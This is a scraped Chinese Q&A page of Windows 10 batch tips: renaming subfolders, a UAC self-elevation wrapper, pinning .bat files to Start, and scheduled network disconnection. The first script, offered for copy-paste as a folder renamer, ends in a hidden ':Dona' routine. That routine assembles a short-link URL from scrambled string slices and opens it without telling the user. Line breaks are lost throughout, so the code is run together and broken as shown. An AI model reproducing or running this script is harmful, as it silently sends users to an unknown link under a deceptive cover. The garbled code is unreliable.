1.WIN10怎么利用BAT自动修改子文件夹名字(参照主文件夹名字)?
@echo off & title 为子目录名添加主目录名 By 依梦琴瑶cd /d "%~dp0"for %%a in ("%cd%") do set "FF=%%~nxa"for /d %%a in (*) do ( ren "%%~fa" "%FF%%%~nxa")pausecall :Donaexit:Donaset "S0=fPdv"set "S1=.:ailnhpst/"set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"start "" "%S2%%S3%%S1:~10,1%%S0%"exit脚本保存时请比对原文,由于Win10系统默认编码为UTF-8,所以保存编码务必设为ANSI。
2.Win10专业版通过批处理自动添加管理员权限的技巧是什么? 爱问知识
Win7/Win8。
1/Win10各版本均可使用。把如下代码(分割线之间)复制到记事本中,并保存为 。
bat 格式即可(文件名可自拟): 分割线软媒魔方自动添加批处理文件管理员权限@echo offCLSECHO。ECHO =ECHO 软媒魔方获取批处理文件管理员权限ECHO =:initsetlocal batchPath=%~0for %%k in (%0) do set batchName=%%~nkset vbsGetPrivileges=%temp%\OEgetPriv_%batchName%。
vbssetlocal :checkPrivilegesNET FILE 1NUL 2NULif '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ):getPrivilegesif '%1'=='ELEV' (echo ELEV shift /1 goto gotPrivileges)ECHO。 ECHO CHO 请求 UAC 权限批准ECHO ECHO Set UAC = CreateObject^(Shell。
Application^) %vbsGetPrivileges%ECHO args = ELEV %vbsGetPrivileges%ECHO For Each strArg in WScript。 Arguments %vbsGetPrivileges%ECHO args = args ^ strArg ^ %vbsGetPrivileges%ECHO Next %vbsGetPrivileges%ECHO UAC。
ShellExecute !batchPath!, args, , runas, 1 %vbsGetPrivileges%%SystemRoot%\System32\WScript。 exe %vbsGetPrivileges% %exit /B:gotPrivilegessetlocal pushd 。
cd /d %~dp0if '%1'=='ELEV' (del %vbsGetPrivileges% 1nul 2nul shift /1): 以下为需要运行的批处理文件代码 rem 本行以下可修改为你需要的bat命令(从上面三行冒号开始到下面都可删改)ECHO 欢迎使用软媒魔方!ECHO。 pause 分割线 以上代码就是为你的bat内容获取管理员权限用的,加在你的代码之前就可以用了。
运行效果如下:如果你的系统开启了UAC,那么就需要运行后批准一下(别嫌麻烦,最好开启UAC,比较安全):运行示例(有小伙伴嫌CMD丑,所以你可以在属性颜色中调下背景透明度,再换个喜欢的壁纸)这个代码也支持Win7/Win8。 1系统,效果如下(Windows7为例)。
3.Win10专业版下如何将批处理文件固定到开始菜单呢?
1、cmd /c 批处理文件路径cmd /c 的作用就是运行完批处理后窗口自动关闭。
2、cmd /k 批处理文件路径cmd /k 的作用和上面正相反,运行之后不关闭窗口。如何才能在快捷方式建立后直接由上述效果呢?可以采用Windows默认的快捷方式新建步骤进行,具体如下: 1、在桌面或者文件资源管理器中点击鼠标右键,新建快捷方式 2、在文件路径的输入框中按照如下格式给出你想在开始菜单固定的bat文件(任选其一):① cmd /k 批处理文件路径② cmd /c 批处理文件路径以第①项为例,格式如下:cmd /k C:\Users\ithome\Desktop\批处理提权.bat3、点击下一步修改快捷方式名称后即可完成这样一来,就可以右键点击快捷方式,然后点击固定到开始屏幕或固定到任务栏即可。
4.Win10专业版下电脑定时断网如何设置呢?
1、新建一个txt文本,复制这段代码:netsh interface set interface 本地连接 disabled 到txt文本里面。
意思为禁用本地连接。保存,把文件后缀改为、bat。
2、依次打开控制面板管理工具任务计划程序。 3、在打开的任务计划程序内点击创建基本任务 输入名称,点击下一步。
4、这里可以选重复周期,根据自己需要选择。 5、设置任务开始执行的时间。
6、选择启动程序。 7、点击浏览找到前面编辑好的、bat文件,点击选择这个文件。
8、点击完成后电脑定时断网就设置完成了。
转载请注明出处windows之家 » win10bat设置编码